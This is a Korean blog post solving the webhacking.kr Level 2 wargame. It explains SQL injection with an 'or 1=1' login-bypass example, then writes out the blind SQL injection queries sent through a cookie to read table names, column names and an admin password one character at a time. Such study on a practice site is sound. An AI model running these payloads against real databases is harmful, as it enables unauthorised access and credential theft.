본문 바로가기
공부/모의해킹

[공부] 국민 웹 해킹 사이트를 해킹 해버리기 -Lv2- (feat. SQL Injection, Blind SQL Injection)

by Goddoeun 2022. 4. 10.
728x90
반응형

안녕하세요!

오늘은 국민 웹 해킹 사이트 webhacking.kr Level 2를 풀어보려고 합니다.
제가 요즘 모의해킹(네트워크 해킹, 웹해킹 등) 관련해서 실습겸 과외를 받고있는데요.
제가 선생님께, webhacking.kr 을 풀고있다고 말씀드리니, 약간의 실무와 괴리가 있기는하다라고 말씀은 해주시더라구요.. ㅎㅎㅎㅎ
그래도 재미로 쭉 풀어보도록 하겠습니다.

그리고 이 웹사이트의 문제들도 난이도가 어려운 편인것 같습니다.. (제 기준..)

뭐 여튼.. 한번 Level 2 풀어보도록 하겠습니다.


웹사이트 : https://webhacking.kr/challenge/web-02/

https://webhacking.kr/challenge/web-02/

webhacking.kr


로그인 후에, 'old-02 50' 으로 들어가 보겠습니다.
(오른쪽에 또 힌트로 데이터베이스 모양이 그려져있네요. 저번 문제는 php 관련된 문제였죠?)

직역을 해보자면,
'제한 구역
안녕 이방인? 너의 IP는 로깅되고있다...'
라고 적혀있네요?

어쩌라고!

바로 페이지 소스 보기를 눌러버립니다.

의심스러운 정황 1.. 시간이 굳이 주석처리가 되어있다.

의심스러운 정황 2.. admin.php에 관련하여 굳이 작성이되어 굳이 주석처리가 되어있다.
'만약 너 admin.php들어가면 내가 니 궁디 주 차뿔꺼다.'
저렇게 admin.php 접속하지 말라고하면 접속하고 싶어집니다.
조금 있다가, /admin.php 로 접속해서 엉덩이 한번 얻어 터지도록 하겠습니다.

오케이.. 알겠어..

그러면 저희 level 1 때 다운로드 받았던 EditThisCookie(chrome 확장프로그램 입니다.)로 쿠키를 한번 확인해 봅시다.
> 1번 문제를 복습해볼까 ? https://goddoeun.tistory.com/49

값 부분에 의미심장한 숫자가 적혀있습니다.

webhacking.kr | "TIME" 인 것이 보이시죠? (힌트를 주었네요!)

UNIX의 타임스탬프를 많이 본 분들은 저게 날짜와 연관이 있다는걸 단번에 눈치를 채실겁니다.
아니라고 해도, 페이지 소스 검사시 2가지 힌트가 나왔으니, 날짜와 연결이 되어있다는 추측을 해버리고 바로 UNIX TIMESTAMP가 맞는지 확인해봅니다.

Link : https://www.unixtimestamp.com/

Unix Time Stamp - Epoch Converter

Epoch and unix timestamp converter for developers. Date and time function syntax reference for various programming languages.

www.unixtimestamp.com


역시나 적시나 존시나.. 저희가 알고있는 힌트와 동일한 날짜가 찍힙니다.
즉, 쿠키값이 시간으로 보여지고 있구나. 라는 것을 알 수 있습니다.

값을 1로 변경해보면 아래와같이 주석의 시간이 변경이 됩니다.

자연수가 아닌 0을 입력해보도록 합니다.

0을 입력하니 시간 확인이 안되네요!
거짓값은 출력이 안됩니다.


[SQL Injection]

SQL Injection 공격은 ID, PW를 적는란과 같이 데이터베이스와 정보를 주고받는 곳에 SQL 문을 기입함으로써 데이터베이스에 접근해서 정보를 탈취하는 공격기법입니다.

저희가 어딘가에 로그인을 할 때, ID와 PW를 입력합니다.
그러면 ID, PW에 입력된 정보는 서버의 데이터베이스로 전송이 되겠죠?
SQL Injection 공격은 이런 과정에서 보안상 허점을 이용합니다.

사용자가 ID와 PW를 입력하면
'select * from USERS(임의의 테이블) where id = 'goddo' and pw = '0000';
여기서 사용자가 입력한 값은 goddo, 0000 뿐이죠?

만약 데이터베이스에 존재하는 사용자라면, 확인후 로그인을 시킬것이고 아니면 실패 메세지를 띄울 것 입니다.

그런데 만약,
해커가 패스워드에 'or 1=1;--';'등의 문구를 넣어
'select * from USERS(임의의 테이블) where id = 'goddo' and pw = ''or 1=1;--';
이렇게 서버로 전송된다고 가정해봅니다.

이는, id = 'goddo' and pw='' or 1=1이 되어버렸습니다.

그렇게 되면 id = 'goddo'은 참 값, and pw=''는 거짓 값, or 1=1은 참값이 되고,
id = 'goddo' and pw=''는 거짓값,
id = 'goddo' and pw='' or 1=1는 (거짓값 + 참값) 참값이 되어버리기 때문에 서버는 로그인을 승인하거나 중요한 다른 정보를 전송해버립니다.

내부통제 관점에서 사실 ID, PW가 무한으로 입력될수 없도록 최대길이를 설정해 두고, " ' ; 등의 값들은 막아두는게 더 안전.. 하겠죠..?

--

다시 문제로 돌아와서,
그러면 저희가 위의 쿠키값에 뒤에 'and 1=0'이라는 문구를 추가해서 거짓 값으로 만들어버립니다.

1=0은 false.. 자세한 내용은 : https://security.stackexchange.com/questions/68158/what-is-the-meaning-of-something-and-1-0-command-in-sql

time 쿠킷값이 참값일 경우는 초 부분이 쿠킷값과 일치하게되고, (일반 숫자가 들어갔을 땐 정상적으로 나왔죠?)
거짓값일 경우는 09:00:00으로 나오는 것이 확인이 됩니다.

고로, 참일경우에는 09:00:01(또는 다른 결과값), 거짓일 경우 09:00:00가 출력됨을 확인할 수 있었습니다.
그렇기에 쿠키를 변경하여 참/거짓인지 질문을 던질경우, 웹사이트에서 09:00:01(또는 다른 결과값), 09:00:00으로 답을 주는것을 보니, BLIND SQL Injection을 사용하는 문제임을 짐작할 수 있습니다.

[Blind SQL Injection]

Blind SQL Injection 공격은 SQL 문을 이용해서 서버에 접근해서 정보를 빼오는 것이고, 기본적으로 SQL Injection과 비슷합니다.

SQL Injection은 SQL문을 보내서 정보를 얻게되지만,
Blind SQL Injection은 SQL문을 보내서 서버의 참/거짓 반응으로 정보를 얻는다는 점에서 다릅니다.

참 일때 - 'goddo'의 비밀번호 첫자리가 '0'인가? YES
거짓 일때 - 'goddo'의 비밀번호 두번째자리가 '1'인가? NO
...

이런 느낌으로요!
하지만 많은 SQL문을 보내니 굉장히 많은 로그.. 흔적이 남을 겁니다. 노가다성이기도 하구요! 대부분 해커들은 파이썬을 이용해서 자동화하여 사용한다고 합니다.

--

일단 해당 웹사이트의 데이터베이스를 알아야 하기에 테이블 정보들을 알아봐야 합니다.
어떻게? 저도 잘 모르는데 한번 구글과 함께 해봅시다..

이렇게 검색하니 친절하게 맨 위에 SQL을 적어주네요.
(select count(*) from information_schema.tables where table_schema=database())


09:00:02로 값이 나온 것을 보면, 데이터베이스에 테이블은 2개라는 것을 확인할 수 있습니다.

이제는, 테이블명의 길이를 알아보기 위해 SQL문을 입력해보도록 하겠습니다.

https://dorahee.tistory.com/109

테이블 길이를 추출하기위해 아래의 내용을 입력해보도록 하겠습니다.
(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)


09:00:13이 출력되는 것을 보아 첫 테이블은 13자리임을 알수있습니다.

테이블 명을 알아보기 위해 SQL문을 입력해보도록 하겠습니다.
(select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0,1)
-> 숫자로만 정보 확인이 가능하기에 ASCII 로 출력합니다.

09:01:37 로 출력되었고, 1분 37초는 97이니 ascii 코드가 97인 'a'가 되네요..
그러니까.. 첫번째 데이터베이스의 첫 글자가 a라는 것이군요.. 아주 잘 알겠습니다.

이렇게 13까지 저는 노가다를 해보겠습니다..

2번째자리 1분 40초 100이니 d

3번째자리 1분 49초 109 m

4번째자리 1분 45초 105 l

5번째자리 1분 50초 110 n

6번째자리 1분 35초 95 _

7번째자리 1분 37초 97 a

8번째자리 1분 54초 114 r

9번째자리 1분 41초 101 e

10번째자리 1분 37초 97 a

11번째자리 1분 35초 95 _

12번째자리 1분 52초 112 p

13번째자리 1분 59초 119 w

하... 힘들었습니다. admin_area_pw라고 나오네요..^^
파이썬을 잘 다루시면 추출 쿼리를 짜셔서 데이터 추출하셔도 무방할겁니다.
저는 못해요..

데이터베이스 테이블 중 1개는 이름을 알아내었고,
이제 똑같은 작업을 두번째 테이블에 대해 길이와, 이름을 알아보도록 하겠습니다.
(select length(table_name) from information_schema.tables where table_schema=database() limit 1, 1)

다행히 3글자네요.
(select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 1,1)

1번째 글자는 1분 48초 108 ㅣ

2번째 글자는 1분 51초 111 o

3번째 글자는 1분 43초 103 g

두번째 데이터베이스명은 log입니다. (그만하고싶다.)

음.. 뭔가 admin_area_pw에 패스워드가 있을 것 같습니다.
컬럼갯수도 알아봅시다..
(select count(column_name) from information_schema.columns where table_name="admin_area_pw")

09:00:01 이 출력되는 것 보니 1개입니다.. 감사합니다..

그러면 컬럼의 글자 수를 확인해 보겠습니다.
(select length(column_name) from information_schema.columns where table_name="admin_area_pw")

2글자임을 알 수 있습니다.

그럼 2번의 노가다 레쯔고..
(select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name="admin_area_pw")
1번째글자는 1분 52초 112 p

2번째글자는 1분 59초 119 w

찍어도 맞출수 있을만한 단어 pw가 나왔네요.
컬럼명은 pw!

이제 패스워드를 알아봅시다.

또 다시, pw의 글자수를 알아봅니다.
(select length(pw) from admin_area_pw)

17글자.. 구나.....
노가다 해보겠습니다.
위의 모든 방식과 동일하게 ascii코드로 받아와서 해석을 해보겠습니다.
사진은 생략하겠습니다!
(select ascii(substring(pw,1,1)) from admin_area_pw) 로 pw, X,1 의 x를 17까지 gogo

해서 나온 PW를.... admin.php에 입력해봅니다.


솔직히 이번 문제는.. SQL Injection, Blind SQL Injection에 대한 개념을 알아야 했던 문제였고,
쉽다기엔 너무 노가다가 길었습니다.
파이썬을 잘 다루신다면, 프로그램을 짜서 하면 될것같은데요!
저는 순수 제 손가락으로 풀었고.. 한 문제를 푸는데 많은 구글링이 필요했네요..!

easy daisy는 아니었지만.. 어찌저찌 문제는 solved...

728x90
반응형

댓글